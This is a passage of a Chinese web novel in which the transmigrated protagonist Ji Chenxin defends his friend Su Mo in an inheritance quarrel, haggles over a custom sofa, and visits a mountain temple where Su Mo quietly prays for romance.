“事情不能一概而论的,我只是想要公平而已,爷爷不能厚此薄彼吧,苏陌有的,我为什么就不能有。” “再怎么样,他都应该一分为二,我也不要全部的,我只是想要属于我的那份。” 苏衍沉默半天,得出这样的结论,他反正是一点亏都不能吃。 “公平?”纪辰新棋子一放,眼神凉到能浇透对方,“你既然要扯公平,我今天就给你扯个明白。” “你妈妈作为第三者,破坏了苏陌的家庭,导致他父母离婚,他母亲的一片真心,荒废的青春,他从没有感受过父母的疼爱,只有父亲的辱骂,这些伤害,你打算怎么赔?” 纪辰新的语速不快,字字带刺,仿佛感同身受般,说到底苏陌的经历跟他是有一点相似的,所以他才越说越激动。 “他遭受的白眼,绝对不比你少,你觉得他就不会受到歧视吗,作为没有父母的他,又是怎么过来的?” “难道他就不配拥有这些,不配渴望这些?” “还有,你总往他面前晃干嘛?你不就是想提醒所有人,你是那个胜利者吗,你们一家人相亲相爱,考虑过他吗?” “小学的时候,你们想尽办法把他弄去江洲,好不容易他走了,你们又追过去,高中的时候,又读一个学校,现在,你们还在一个学校,你别告诉我说你不是故意的。” “做人,至少不能这么过分吧。” 纪辰新字字珠玑,他也没想到自己能有一天这么为男主说话,但真就一点都忍不了了。 苏衍摇着头,反驳道,“不是这样的,你不知道我爸回帝都之后联系过他多少次,爸爸很想弥补他的,但苏陌太冷漠了,不管爸爸如何道歉,如何认错,他都无动于衷,这可是他的亲生父亲啊,他怎么能这样!” 纪辰新气笑了,“你是说,苏枕山对苏陌不管不顾十几年,当苏陌终于挺了过去,长大了,你们却要道德绑架他接受?” “你们未免也太无耻了。” “迟来的道歉比草贱,晚来的亲情比冰寒!” “你们一家子是吸血虫吗?能不能放过他!” 纪辰新攥着拳,指节泛白得像浸了雪,喉结狠狠滚了一圈才压下翻涌的怒气。 与此同时,手机发出“叮”地一声,侯杨往寝室群里截了张图,顺便感叹了一番。 【卧槽,原来另一个校草叫苏陌啊,是个富二代,还是个职业棋手,苏衍居然是他弟弟,@苏衍你怎么藏这么深啊。】 【我搜了下职业棋手,一年居然能赚这么多钱,个十百千万十万百万】 【我的天,简直无法想象,他才多大啊。】 纪辰新没注意到群消息,他还在与苏衍对峙,额角青筋跳的显眼,牙齿都咬的发紧。 这时,苏衍收到了来自父亲发过来的消息。 苏枕山:【我已经安排人将你和苏陌是兄弟关系的事曝出去了,不管哪个时代,谁先占据舆论,谁就能占据高地。】 【以后老头子如果要将资产全给苏陌,我们就可以做文章了,你同样作为他的孙子,理应也分一杯羹,他不能厚此薄彼。】 【另外,苏陌他是个名人,更是个清高的人,他不会为了这些资产,让自己名誉扫地,得到一个薄情寡义的名头的,不然群众一人一口唾沫都能淹死他。】 苏衍也没看消息,他持续盯着纪辰新,极为不甘道,“你倒是偏袒他,维护他。” “差点忘了,你是他的朋友,你不偏袒他又能偏袒谁。” “真是令人嫉妒啊,你什么时候能偏袒偏袒我?” “从小到大,世人都只知道站在他的角度看问题。” “纪辰新,你能不能站在我的角度,帮我一次呢?” “你和我做朋友吧,以后不论得到多少资产,我都分你一半。” 他的瞳孔里闪着羡慕偏执的光,嘴角扯着诡异的笑,指节都捏的发白,喃喃自语道,“苏陌有你这样的朋友,我也要。” “我也想知道被朋友偏袒,维护是什么样的滋味,要只对我好,只能对我好” 第80章 自从那日与苏衍谈话未果后, 纪辰新便很少搭理他了。 在他看来,这人冥顽不灵,实在没有相处的必要。 至于宿舍的另外俩人, 经过几天的观察,他们也敏锐的察觉到了什么,甚至组局想要他俩缓和关系。 但纪辰新属于只要有苏衍的场合,就不过去掺和的那种,所以不论侯杨和张景龙如何竭力调解,都没用。 苏衍将一切看在眼里, 给侯杨和张景龙俩人的说法是, “不关你们的事, 是我得罪了他,我会自己想办法解决。” 他的眼神直勾勾地盯着床上背对着他的纪辰新,瞳孔里翻涌着侯杨与张景龙都看不懂的神色。 没过两天, 纪辰新就买了个私密性很好的床帘, 隔绝了他的目光。 至此, 苏衍再也无法将视线肆无忌惮地落到他身上了。 纪辰新也终于睡了个好觉。 * 周末, 纪辰新应苏陌的邀, 去了家具品牌专卖店。 路上,苏陌问他什么时候搬过来。 纪辰新默了一瞬, 才淡淡道, “是这样的, 我不打算搬了,周一周五我就在学校住好了,周末再来你这歇息。” “为什么?”苏陌不理解,稍一动脑便道,“是学校这边不准?” 不得不说, 他的敏锐程度,直达要点。 但纪辰新还是摇了头,一来,他不愿麻烦苏陌动用人脉关系给他解决这样一件小事。 二来,苏衍这个家伙显然贼心不死,为了对付苏陌,为了拿到家产,还不知道后面会使什么花招,所以他得留在宿舍看着他。 三来,贴吧里这几天将苏陌和苏衍的兄弟关系传的沸沸扬扬,虽然还没有暴露太多的其他信息,但纪辰新总觉得背后是苏衍搞的鬼,得防他一手。 再者,他也不想苏陌的伤疤在大众面前揭开,或许到时候舆论会偏向他,但大概率是可怜。 天才如苏陌,可怜不应该成为他的代名词! “我觉得现在这样就很好啊,还能跟同学们亲近亲近,人多才不孤单,多好玩啊。”纪辰新找补道,但他不知道,就这样简单随意的一句话,轻而易举地就堵住了苏陌的口。 少年嘴角牵强的扯了扯,所以是他那儿太无聊了吗 苏陌陡然陷入了沉思,眼神都泄了光,是了,纪辰新一向人缘好,身边除了他之外,还有很多,很多的好朋友。 少年喉结滚了两下没发出声音,那双亮的能映出人影的眼睛终是垂了下去。 “你到底要过来买什么?”纪辰新还是第一次来这么高端的家具城,语气新奇的很,“你那里好像什么都不缺吧。” 苏陌注视了他好一会儿才终于恢复了一丝劲,“买一套沙发,客厅有点空旷,你难道不觉得吗?” 纪辰新努力回想,“空旷吗?还好吧,不过你若执意要买,我也能帮你挑挑。” 他的态度无所谓,毕竟这也不是他的房子。 但苏陌却很郑重,“不能随便挑,选你喜欢的。” “选我喜欢的?”纪辰新有些傻眼,“为什么,这可是你的房子。” “你到时候不也住里面吗,别忘了,我给你留了一间房。”少年不假思索道。 纪辰新总觉得哪里怪怪的,“额即便如此,但我也不能喧宾夺主吧。” 话刚到这,他的手机铃声便响了起来,来电的是赵言权。 纪辰新想也不想便接通了,“喂?” “在哪啊?开黑来不来?”赵言权一个人打游戏正无聊。 纪辰新笑了笑,“家具城,陪苏陌看沙发呢。” “看沙发?是买新家具吗?”赵言权百无聊赖道,“地址发我,我也来凑凑热闹。” 纪辰新挂断电话,回头看向苏陌,“那个赵言权说他等下过来。” 苏陌本想说不必,但下一秒纪辰新却说,“我已经把地址告诉他了,咱们要不等等?他说他离这不远。” 事已至此,再拒绝就说不过去了,少年无奈地点了头。 二十分钟后,赵言权果然赶了过来,他带了三瓶饮料,一人一瓶。 “好端端的,看什么沙发啊?苏陌我记得你家那个沙发可是你爷爷专门找人打造的,他能准你换掉?”赵言权开门见山,甩出这么一句话。 纪辰新突然想到,苏陌应该是还没跟赵言权表明自己已买新房的事。 果不其然,下一秒,苏陌就回复道,“那里属于我爷爷奶奶的住所,我自然没有权利更换。” 说完这句话,他就往前走了,留下赵言权在原地懵逼。 赵言权反复咀嚼他话中的意思,“啧,你能不能说明白点,我怎么听不懂呢,你爷爷奶奶的不就是你的吗。” 还是纪辰新看不下去,补充了一句,“等买完沙发,一起去看看苏陌新买的房吧。” “啊?”赵言权明显愣神,“我听错吧,新买的房子?” “你是说,他新买了一套房?” “为什么啊?是家里不够住吗,不能够啊!” “他爷爷知道吗?” 一连串的问题冒出来,就是纪辰新也卡了壳,因为他也不知道,更别说回答了。 于是,赵言权追了上去,跟在苏陌后边问来问去。 纪辰新顺道听了一嘴儿,他不喜欢刨根问底,赵言权却与他不同。 苏陌选择性回答,“住外面更方便,至于他们是否知道,不重要,我可以自己做主。” 这下,就连纪辰新都惊呆了,所以苏陌的家人很有可能都不知道他在外面买了套房? 法律怎么规定了的来着? 好像说未成年购买房子需要监护人同意吧? 不对,17岁的孩子若以自己劳动收入为主要生活来源,并购买房产,是不需要监护人同意的。 赵言权问到了几嘴后,见好就收。 虽然苏陌并未回答他做这一举措究竟是为了什么,但这些都无所谓了,他等下必须要去看看,到底是什么样的房子,能让苏陌大手一挥,不动声色的买下。 挑选沙发的过程,赵言权根本不发表任何意见,因为他不懂,也没见到新房子的布局。 至于纪辰新他也不想发表意见的,但每看一套,苏陌都会询问他,搞的他异常的压力山大。 就像是老师随堂提问一样,每次都点他。 到最后,纪辰新只能将头越埋越低,生怕跟苏陌对上视线。 经过一下午的挑选,最终他们定制了一套沉稳的深咖色进口乳胶加天然鹅绒的沙发,沙发表面泛着细腻柔和的光泽,不刻意抢眼却自带质感。 搭配同色系哑光金属高脚,既撑起了大气的格局,又在细节处藏着精致,跟客厅开阔的地板衬的恰到好处。 这下,不止纪辰新满意了,就连苏陌也满意了。 “哈哈,就这套了,赶紧走吧,我人都要废了。”赵言权对逛街的抵触心理,此刻已然达到顶峰,他已经陪俩人逛了快两小时了。 他发誓,下次再有这种活动,他绝逼不来了。 商家笑着道,“由于你们要的是一款定制型沙发,这就需要设计、制作的过程,还有” 纪辰新打断他施法,“直接说吧,要多久?” 商家伸出了四根手指,“最少四周。” “一个月?”纪辰新蹙眉,“最少的意思是不止罗。” “没事,我们能等,麻烦你尽量做快点,钱都好说。”苏陌拍板了,“请问在哪付款,能刷卡吗?” 见状,商家眼睛一亮,那种精明的目光,有利可图的目光,纪辰新再熟悉不过了,从小到大,他不知见过了多少。 只见纪辰新,迅速且不动声色地挡在了苏陌身前,“是这样的,我们先付一部分定金,等沙发做好了再给你结尾款,你看行不行。” 他巧妙地将苏陌话里的漏洞规避了,钱是不可能一次性付清的,到时候沙发设计的不满意,或是做的不好,再找他们可就没那么好说话了。 而且价格,一开始就得谈好。 纪辰新侧目扫了一眼,矜贵模样的苏陌以及着急想走的赵言权。 这两个人,说白了,没有任何生活的经验,那便只能他来了。 眼见,肥羊在手,马上待宰,却突然被人打乱,商家脸上的笑容差点都挂不住。 “劳驾移步隔间,我给你们泡好茶水,价格可以慢慢谈。” 赵言权听到还要喝茶,慢慢聊?顿时嘴角一撇,非常的不耐烦,但这事他又根本不擅长,便看向了另俩人。 苏陌自纪辰新挡在他面前说话伊始,眉眼便始终盯着纪辰新的后脑勺,仔细看的话,就能发现他悄然红掉的耳尖。 在他眼里,这是一种保护性的姿态,特别像情侣在外,见不得另一半吃亏,护犊子的行为。 纪辰新不知道他脑补了什么,他假装看了眼手机,“隔间在哪,我们只有十分钟时间,茶就不喝了,麻烦你能拿出底价来,这样对大家都好。” “毕竟我们过来之前,是有了解市场情况以及价格区间的,沙发我们肯定是真心诚意想要买的,就看你们的报价实不实在。” 他这几句话,说的十分明了,既表达了他们想要买沙发的愿望,也表明了他们对市场情况的了解,若是想要坑他们,他们决计是不干的。 商家脸色变了又变,他发现这不是个好糊弄的主儿。 他将人带到隔间后,首先就给三人介绍沙发的成本、材质以及将采用的工艺。 纪辰新没怎么听,只道,“这种在市面上,不是没有,我现在随便出去找一家,都能做到,老板你就说能便宜多少吧。” 商家发现这些讲不通后,才逐渐进入正题,“我刚刚所提到的都属于沙发成本,但除此之外,我们还有人工的成本,一级一级加起来,都是一笔不小的费用。” “这样吧,我这边给您优惠三千,再多我们自己都要亏本了。” 纪辰新短促地轻笑了一声,神色凉薄,“既如此,老板,我想我们没有谈的必要了。” 说着,他就真的起身了,并给了苏陌和赵言权一个眼色,让他们跟着自己走。 “欸欸欸,帅哥,留步,您说说您的心理价位是多少,我们这不是还在谈吗?”商家见他要走,瞬间慌了。 纪辰新回头看了他一眼,“老板,你做生意真的很不实在,一开始我就跟你说过,我了解市场,了解价格,但你却仍旧选择忽悠我们,算了吧。” “我怎么就不实在了?这么着,五千,给你优惠五千,这已经是成本价了。”商家一副豁出去的样子。 纪辰新摇摇头还是走了,这次不管商家怎么叫他,他都没再回头。 赵言权是个憋不住的,出了店,他就跟纪辰新打听,“怎么回事啊,怎么突然就不买了,他不是优惠了吗?” 纪辰新无语地瞥了他一眼,“快二十万的沙发,他就便宜个三五千,他打发叫花子呢?你信他一套沙发就赚三五千?” “他开价那么高,至少能赚一半!” “卧槽,所以我们要对半砍?”赵言权震惊了,立马回想了一下自己以前有没有被坑的经历。 纪辰新没好气道,“我之前问过别家这个材质的沙发,顶破天也就十万,要是讲讲价,或许还能优惠两三万,你就说这个老板黑不黑心吧,我不是没给他机会,他上来只给优惠三千,然后我们要走了,他却连一万都不舍得,这还怎么谈。” 话落,纪辰新又看了眼一直没说话的苏陌,“你呢,没什么要说的?” 苏陌盯着他,缓缓勾了下唇,眼睛泛着光道,“幸好带你来了,不然白花那么多钱。” 他欣赏充满烟火气的纪辰新,满身活力,讲价时也别具魅力。 纪辰新无奈极了,突然想到什么,“你其他的家具不会都是你一个人去买的吧?” 他的神色里流露出恨铁不成钢的复杂情绪,仿佛那些钱都已经打了水漂一般,痛心疾首。 苏陌愣了一下,实话实说道,“没有,孟叔帮我置办的,他做事我放心,不会被坑的。” “那房子呢,你一个人去谈的?”纪辰新狐疑地看着他,一套房子可不是小数目,这要是被坑,就不是几万这么简单了。 苏陌黑白分明的瞳色定定注视着他,探究道,“你为什么这么担忧我?” 纪辰新狠狠闭了下眼,“当我责任心泛滥,你就说是不是你一个人去谈的。” “不是,我带了孟叔,还有一个律师。”少年微微俯身,眼神专注又温和,透着不自知的温柔,“这下,你总该放心了吧?” 他嘴角勾着浅浅笑意,声音都放的软软的,像春风拂过耳畔,“若还不放心,以后我买任何东西,都先询问你,或找你一起” “好不好?”—— 作者有话说:赵言权:怎么个意思,现在都不背人了?[化了]我觉得我不应该在车里,我应该在车底!《 》 80-90 第81章 苏陌的声音太具备迷惑性, 他看着像在哄人,此情此景下,纪辰新的脑子短暂地眩晕了一秒。 “不好!”反应过来的少年, 言简意赅的进行了拒绝,“我只能给你参考性意见,你别想赖上我哈!” “我平时也很忙的。” 纪辰新转了转眼睛又道,“顶多帮你讲讲价。” 苏陌心领道,“那谢谢你帮我省钱了。” 赵言权支着下巴,眉毛一抬, “啧, 两位, 沙发还买吗?” “买,当然要买。”纪辰新打了个响指,“咱们去最里面那家, 那家最实惠。” * 半个小时后, 三人终于心满意足地走出了家具店。 赵言权伸了个懒腰, 对着苏陌吐槽道, “不找孟叔帮忙, 非要亲自选,你难道不觉得累吗?” “老子今天美好的假期, 都被你毁了, 不, 是你们俩,你们必须补偿我!” 赵言权瞪着怨气十足的双眼直愣愣地瞅着苏陌和纪辰新。 明明是他自己打电话想要过来在先,结果还倒打一耙。 “你想要什么补偿?”苏陌难得应茬,“能力范围内,我都可以满足。” 转瞬间, 他的目光又落在了纪辰新身上,“你也是,今天辛苦了,想要什么都可以直说。” 纪辰新摇了摇头,他并没有什么想要的东西,再说了,他做的这些,也是举手之劳。 不过,他倒想听听赵言权打算要什么补偿,于是笑着道,“说吧,你想要什么,如果能力范围内,我也可以给。” 赵言权见状,眼睛眨巴了几下,兴奋道,“行啊,那你可别后悔,明天!你们都陪我去爬山!” 紧接着,他又补充道,“青星山,就在隔壁市,山顶还有个庙,我每年升段赛前都会去拜,那里面的菩萨很灵的。” “额爬山拜庙?一天时间够吗,后天可是周一,我们要上课的。”纪辰新考虑的比较实际。 “够的够的,完全够,一天往返不成问题。”赵言权拍着胸脯保证,“我都去那么多次了,熟的很。” “明天你们跟着我走就是了,什么都不用担心。” 苏陌倒也没拒绝,他提议道,“若是一天内往返,我们明天早上五点就得起床,六点就要出发。” “我安排司机全程送我们过去吧。” “不用,不用,我们可以睡到七点,然后八点再出发,那边新建了一条铁路,说是高铁,三个月前已经通车了,四五十分钟就能到。”赵言权一副了然于胸的模样。 在他的坚持下,最后三人达成一致,明天都听从他的安排。 鉴于赵言权一贯大大咧咧的性子,纪辰新其实对这趟旅途是持保守态度的,总觉得会有意外发生。 “既然沙发已经搞定,现在能去看新房子了吗?”赵言权还没忘记这件事,一路念叨着,“我已经迫不及待了。” * 傍晚时分,三人一同来到了苏陌所在小区。 赵言权从上电梯起就在惊叹,“难道这就是最新开发的一梯一户?” “之前有看到开发商打广告来着但大多数人都在观望。” “而且在建的工程并不多,你居然这么快就拿了一套牛逼啊!” 对于赵言权的夸赞,苏陌抿着唇没说话,一路领着他出了电梯,最后却是纪辰新输入的密码。 光这一操作,就看的赵言权,一整个懵逼。 他用狐疑以及不可置信地目光看向俩人,“你们莫不是” “打住,我也是刚知道的密码,苏陌告诉我的。”纪辰新实在害怕赵言权这张嘴,经常没个准头,净喜欢说些风马牛不相及的话。 尽管如此,赵言权依旧调侃了一句,“啧啧啧,同样是朋友,怎么还不一样呢,怎么没人告诉我密码呢?” 他话中的意有所指,以及意味不明太强烈,搞的纪辰新也很尴尬。 他不知道该怎么回答,毕竟苏陌确实对他很好,甚至还给他准备了一间房。 等等,一间房? 这要是被赵言权知道 “这也是为了纪辰新能随时过来住。”苏陌冷不丁接话,随后摇手一指,“那个,是我给他准备的房间。” 纪辰新陡然瞪大眼睛,他下意识看向苏陌,眼神里全是震惊,‘你怎么什么都往外说啊,赵言权知道你这样区别对待,不得翻脸啊’ “什么!”赵言权果然炸了,他直奔那个房间,“好家伙装饰的不错啊,居然还有电脑,还是最高配置的!” “咦,这是啥,衣帽间?” “男的要这干嘛?多余!” “整体来说还行吧。” “那啥,纪辰新,我是不是能随时找你开黑了?” “你现在搬过来了没?” 纪辰新全神贯注听着,就是为了以防万一,但他没想到赵言权会是这样的反应。 他咬了下唇,不解道,“你难道不会觉得不开心吗?” “不开心?为什么?”赵言权蹙着眉头,疑惑地看着他,他并不理解纪辰新所说的不开心是什么。 纪辰新认认真真打量他,“就是就是” 他支支吾吾说不到重点,因为实在难以开口,毕竟赵言权好像确实没放在心里。 苏陌知道纪辰新在担忧什么,于是状似无意道,“如果赵言权买了房,我想他也会给你留一个房间的。” 纪辰新还没明白过来他这话的意思,这边赵言权就已经在拍着胸脯保证了。 “等我拿到我爸的遗产,别说一个房间了,到时候送你一套别墅也不是不行!” 纪辰新霎时满头黑线 那倒也不必 赵叔知道你这么孝吗?!!!! * 翌日,清晨六点,纪辰新还在睡梦中,突然被一阵铃声吵醒。 他蹙着眉头,努力将眼睛眯成一条缝,才看清了来电,赵言权? 由于怕吵到室友,他立即按了接通。 “喂?” 他声音嘶哑,带着没睡醒的音调,“干嘛啊,这么早。” 赵言权急急忙忙的声音从电话的另一端传来,“纪辰新,你起来了吗,快起来!高铁要赶不上了。” 这话就像根针,猛地扎进了纪辰新混沌的脑子里,他裹着睡意的眼睛骤然睁大,瞳孔里还凝着枕边的残影,下一秒弹坐了起来。 “???”他被惊出了一身冷汗,手忙脚乱地将手机拿下来,看了眼时间,六点! 六点啊,没有错啊,他们昨天不是约的七点起床,八点到高铁站,八点半高铁才出发的吗? 电话里,赵言权唧唧呱呱道,“昨天看错了,抱歉啊!总之,你快起床吧,我们是7点的高铁,没时间了。” 闻言,纪辰新捏手机的手指都发了白,“赵言权,你他么能靠点谱吗!” 赵言权在电话里求饶,“不好意思,真不好意思,你快起来,我还要苏陌打电话呢,先不说了哈,等下就不集合了,你自己打车过去,我们高铁站见。” 纪辰新真是服了他,挂了电话后,飞快掀开了被子,从床上跳了下去,一分钟穿好衣袜,五分钟不到就洗漱完了,头发都没来得及梳,提着昨晚就收拾好的背包,迅速出门去。 平时都从东门出校园的他,这次破天荒选了最近的西门,却也花了五六分钟时间。 最后拦了一辆车,直接到高铁站。 路上,纪辰新一直喊司机开快点,再开快点,终于在六点四十的样子,抵达了。 早饭都没吃的他,又迅速进站检票。 赵言权是跟他差不多到的,纪辰新都没时间跟他扯别的,拿了票就进站。 苏陌是赶在最后十分钟过来的,赵言权一直守在门口等他。 高铁发车阶段,三人才真正的碰上面。 赵言权自知理亏,低眉耷眼,一个劲赔不是。 纪辰新指着他,无语到没眼看。 现在的技术还没发展到手机短信直接推送车票信息,这是造成此次事件的重要原因,纪辰新最后这么总结。 再加上赵言权信誓旦旦的保证,他和苏陌还真就当了甩手掌柜 苏陌都懒得搭理赵言权了,上了车,就开始补觉。 其实过来的路上他是有给纪辰新发过信息的。 当时,他是这么跟纪辰新说的:【赵言权看错时间了,要实在赶不上,就不赶了,到时候实行原计划,让司机送我们去。】 纪辰新确实也同意了他的提议,好在,最终都赶上了。 由于三个人都没吃早餐,所以在高铁到站后,他们都没有急着去景点,而是先去了早餐店吃东西。 风刮在脸上像掺了冰碴,秋天本该是温软的存在,却处处透着股不讲理的寒。 就连随意哈出的气,都瞬间成了雾。 吃完早餐的纪辰新,一出早餐店的门,就将外套裹的严严实实的,他缩着脖子道: “看,那里有去景点的班车,只要五块钱。” 他语气兴奋,“我们就坐这个吧。” 苏陌顺着他指的方向看过去,没说什么,却又像什么都说了,虽然他从没坐过这类型的车,但只要纪辰新想要的,他都愿意去尝试。 “其实,我们可以坐出租车,人少,安静,还快。”赵言权去哪都习惯了打车,他也没有坐过纪辰新口中的班车,主要是觉得没必要,毕竟有更好的选择。 纪辰新笑着道,“不不不,我们就坐那个,走吧,带你体验一下普通人的生活。” 他都这么说了,赵言权便耸了耸肩,“行吧,来都来了。” 班车的速度不算快,就是人太多了,位置不够时,人还得挤在过道上。 这种满满当当的感觉,尤其在司机踩刹车的一瞬间,摇摇晃晃的人们猝不及防贴在了一起。 赵言权狠狠闭眼,他表示不想再与面前的老头眉来眼去了。 苏陌则下意识地将纪辰新护在了自己的保护圈内,不容任何人往他身上贴。 这段路不算长,但很难熬,十多分钟,他们才抵达目的地。 下车后,赵言权大喘着气,比划道,“你们不知道,那老头有狐臭,那儿都腌入味了。” 看着他皱着眉头,手舞足蹈的样子,纪辰新差点没笑死,“我看你闭着眼,还以为你站着睡着了。” “老子他么一直都屏着气呢,估摸再熬一会儿,得当场去世。”赵言权猛地回想起那个味,直接yue了。 最后,他还不忘口出狂言,“丫的,别让老子逮到他,不然老子” 下一秒,狐臭老头从他身旁经过,并似有若无地瞅了他一眼,赵言权顿时哑火,肉眼可见地慌乱,“那啥大爷,我可没说你,我说别人呢。” “噗”这给纪辰新憋的,实在忍不了,便拉着苏陌背过了身去。 至于为什么拉苏陌,因为他从苏陌的眼里看到了同样的笑意,俩人一开始甚至都不敢对视,就怕绷不住。 广场上,纪辰新的双肩正在微微抖动,他笑的无法自抑,从始至终都未注意到,一旁的少年正温柔又宠溺地注视着他 良久。 第82章 青星山并不好爬, 地势比较陡峭,上山的过程中,纪辰新由于伤势原因, 不能剧烈运动,所以走的很慢。 赵言权在前面带路,苏陌则一直守候在纪辰新身后,还将纪辰新的背包也一并包揽了过去。 就这样,三人走走停停,花了两个多小时的时间, 才终于登顶。 云雾缠山腰, 青星寺从松影里露出半角, 晨钟撞碎雾霭,余音绕着怪石,一圈一圈慢慢荡漾开。 山顶的人流并不多, 远处石阶被香火熏出了印, 朱红庙门裂着细缝, 风一吹, 仿佛还能听到檐角的铜铃, 混着僧人的诵经声落在了青苔上。 纪辰新呼出口气,站在原地没动, 十月的风裹着松针的清冽, 割得他额角发梢发紧。 北方的秋阳铺的坦荡, 漫过光秃秃的山脊,把远处层林染的金红交错。 望着漫山铺展的秋色和寺前静静飘着的青烟,纪辰新终是松了劲,此刻憋在心里的所有烦心事,全都烟消云散。 他感慨道:【系统, 你说人生在世,如果就这样过一辈子是不是也很好。】 【平平淡淡的,没有争名夺利、没有较量、没有比赛、更没有任务。】 系统冷静道:【可是宿主,世上没有如果。】 纪辰新:【你真是】说话很难听了。 “走吧,我们去寺庙坐坐,噢不,拜拜,中午我们跟僧人一起吃斋饭。”赵言权计划道。 对于他的提议,纪辰新并无异议,苏陌亦然。 风卷着干爽的土气扑进肺里,三人将疲惫扫空,兴奋又期待地朝着寺庙而去。 寺庙门口有小贩在售卖香火,二十块钱一炷,不能带进去,只能在最外面的炉子烧。 纪辰新直言太坑,这要是在山下,一炷香五毛钱都不要。 这时,赵言权突然打开背包,“老子早有准备,他这里的香火太粗糙了,我买了更好的。” 说着,他就拿了不少包装良好且上档次的香火出来,“喏,这是求平安的,这是求健康的,这是求事业的,这是求财的每个人都有。” 分门别类,不同的香火,都用的不同的包装。 “我们一人一支笔,写上自己的姓名,地址,这样请香的时候菩萨才不会弄错。” 纪辰新:“” 苏陌:“” 俩人怎么都没想到,赵言权居然准备的这么齐全,他熟练到就好像在这干了二十年一样。 赵言权见俩人愣住,热情推销道,“真的很灵,快写吧,以后千万别说我藏着掖着哈,我这可是把压箱底的法宝都告诉你们了。” 纪辰新:“” 苏陌淡淡拒绝,坦言道,“不必了,我不信这些。” 赵言权脸一耷拉:“昨天你们可是都答应了我,给我补偿的,这就忘了?” 苏陌摇头,“我只答应了陪你爬山,至于你要拜庙,是你自己的事,我不反对而已。” 赵言权就知道苏陌没那么容易妥协,这家伙向来不信牛鬼蛇神,更不喜欢拜来拜去,跪来跪去的。 “你也太没有敬畏之心了,小心菩萨不保你。”他控诉道。 然而,苏陌依旧不为所动。 赵言权没办法,便开始磨纪辰新,“世间事本就玄之又玄,难道你不觉得吗?” “很多东西是没法解释的,拜一拜身心健康,家人平安。” “额”纪辰新也是麻了,“其实你要拜,我也不反对的。” “但我我个人确实也不喜欢求来求去,关键吧还没啥用。” 赵言权无语极了,“你怎么能在佛前这么说,这可是大不敬,况且你怎么知道没用?你又没拜过。” “我跟你说,我每次拜完,升段赛都0失误,一路顺利晋级。” 纪辰新为难地看着他,他该如何告诉赵言权,现在这个世界其实只是一本书,而你作为书中的主要人物,早就有了既定的走向,跟你拜的佛没关系。 系统:【宿主,不可泄漏本世界最高机密,从现在起禁言你五分钟。】 纪辰新白眼一翻,【我可什么都还没说啊,你要不要这么夸张啊?】 系统:【为了世界稳定,敬请谅解,当然你要是想以文字的方式泄露也是不行的,这边会强制抹除。】 纪辰新:【】 说不了话了,纪辰新只能摇头表示拒绝。 赵言权哼哼哧哧地自己拿起了笔,“你们不拜,就等着后悔吧。” 于是,纪辰新眼睁睁看着他写了一份又一份,最后甚至还默默地给他和苏陌都写了。 这人还真是刀子嘴,豆腐心。 赵言权知道他俩的地址,只是不太详细,却也够用了,他嘀嘀咕咕道,“菩萨这么大神通,肯定能找到你们的,名字总错不了。” 纪辰新:“” 写到最后,赵言权从包里拿出最后一炷香,那花里胡哨的包装,他打眼一看,人都懵了,“咦,那店家怎么还给我拿了个求姻缘的。” “老子才多大啊,事业为重,不要不要。” 说着,他就将这一炷香放到了最边上。 然而,谁都没发现,此时此刻苏陌的注意力缓缓落在了那炷求姻缘的香上。 赵言权还在念叨,“总算写完了,你们不写也不拜,菩萨是不会眷顾你们的,即便我给你们写了名字,但你们的心不诚,很大概率没用。” 纪辰新很想撬开他的脑子看看,到底是谁给他灌输的这个,到底是谁第一个带他来求神拜佛的? 好好的一个青年,怎么就变成神棍了呢? 赵言权手里拿着一大把香火站在庙前,闭眼默念,大概一分钟后,他突然跪了下去,大磕了几个头。 等他站起来时,眼神坚定,然后径直走向了火炉,将请的香都扔了进去。 “好了,大功告成!” 他拍着手,回头看向俩人,“很多生意人每年都来这儿求财的,我妈就是其中之一,自从求了这个,我家那个棋院是越办越好。” 原来是他母亲信奉这个啊,怪不得! 那赵言权算不算是从小耳濡目染呢? 纪辰新撇了撇嘴,实在不好说什么。 下一秒,苏陌捡起了赵言权不要的那个姻缘香,他神情幽深,“这个你还烧吗?” 赵言权愣了一秒,“不要了,怎么,你要烧啊?” “嗯。”少年喉结滚动,清冽如碎冰的嗓音,此刻竟揉进了三分软。 他素来脊背挺得如青松般直,此刻却屈着矜贵的膝,半蹲在地上,拿起笔,腕间玉扣都敛了锐气。 垂眸时,长睫在眼下投出浅淡的影,他眼尾冷淡的弧度都化了,“你说很灵,所以我想试试。” 想试试? 试什么? 试姻缘? 一连串的疑问在纪辰新和赵言权的脑中同时炸开,他们不可置信地干瞪着眼睛 苏陌到底在干什么啊! 这有悖常理的一幕是认真的吗? “卧槽!” 率先发出惊呼的是赵言权,他一点都忍不了,“刚刚那么多你不求,你居然求姻缘?” “你怎么回事啊,你不是不信的吗?” “你有喜欢的人了?” 回答他的是苏陌遒劲的笔力,他一气呵成地将姓名和地址写完。 随后,更是将目光轻飘飘地落在了纪辰新身上,耳尖悄悄漫上薄红。 纪辰新却还处在震惊中,他在消化这件事。 【系统,《围棋圣手》里面,苏陌有官配?】 系统斩钉截铁道:【不可能,绝对不可能。】 纪辰新微微蹙眉,【那这怎么回事,他怎么突然对姻缘上心了,他不应该坚定不移地追求围棋这条大道吗。】 系统斟酌着语言:【不知道啊,男主的心思,谁能猜的准,或许你的出现引发了蝴蝶效应吧。】 系统不敢说,其实它心中隐隐有个猜测,却实在是不敢告诉宿主,就怕宿主这个钢铁直男知道后承受不住,然后远离男主,导致任务失败。 纪辰新狐疑道:【是吗,你真的没有再瞒我什么?】 系统大气都不敢喘,【没有,再也没有了。】 听到系统这么说,纪辰新稍稍放下了心来。 赵言权八卦之心燃起,追在苏陌后边问,“你喜欢谁啊,哪个女生,我见过吗?” “你丫的,藏的也太深了,什么时候喜欢上的?” 苏陌没回答,而是持续地望着纪辰新,他在观察纪辰新的反应。 然而,纪辰新沉浸在跟系统的聊天里,看着像是在发呆。 好一会儿,等纪辰新回过神来时,苏陌已经在学着赵言权之前的模样,双目紧闭,手持姻缘香,在祭拜了。 谁也不知道苏陌到底跟菩萨求了什么,只见他屈膝跪下,青石阶冷硬地硌着膝盖,他仿似不觉,双手合十的手指绷得微白,附身叩首时额角轻贴冰凉的地面。 他的眉眼是那么的端正,三叩九拜,每一下都沉缓而郑重,比赵言权那简单的三拜更显虔诚。 他掩去了眼底浓得化不开的情绪,下颌线绷的极紧,喉间无声滚动,带着细碎的祈盼。 周遭香客不约而同地看向了这位气度不凡的少年,他们惊讶地议论他跪拜的姿势太过周到,正式。 就连庙前引路的僧人都驻足在不远处,沉眼打量他。 赵言权这个平日跳脱散漫的人,此刻沉默地说不出一句话,他绷着脊背,连连蹙眉。 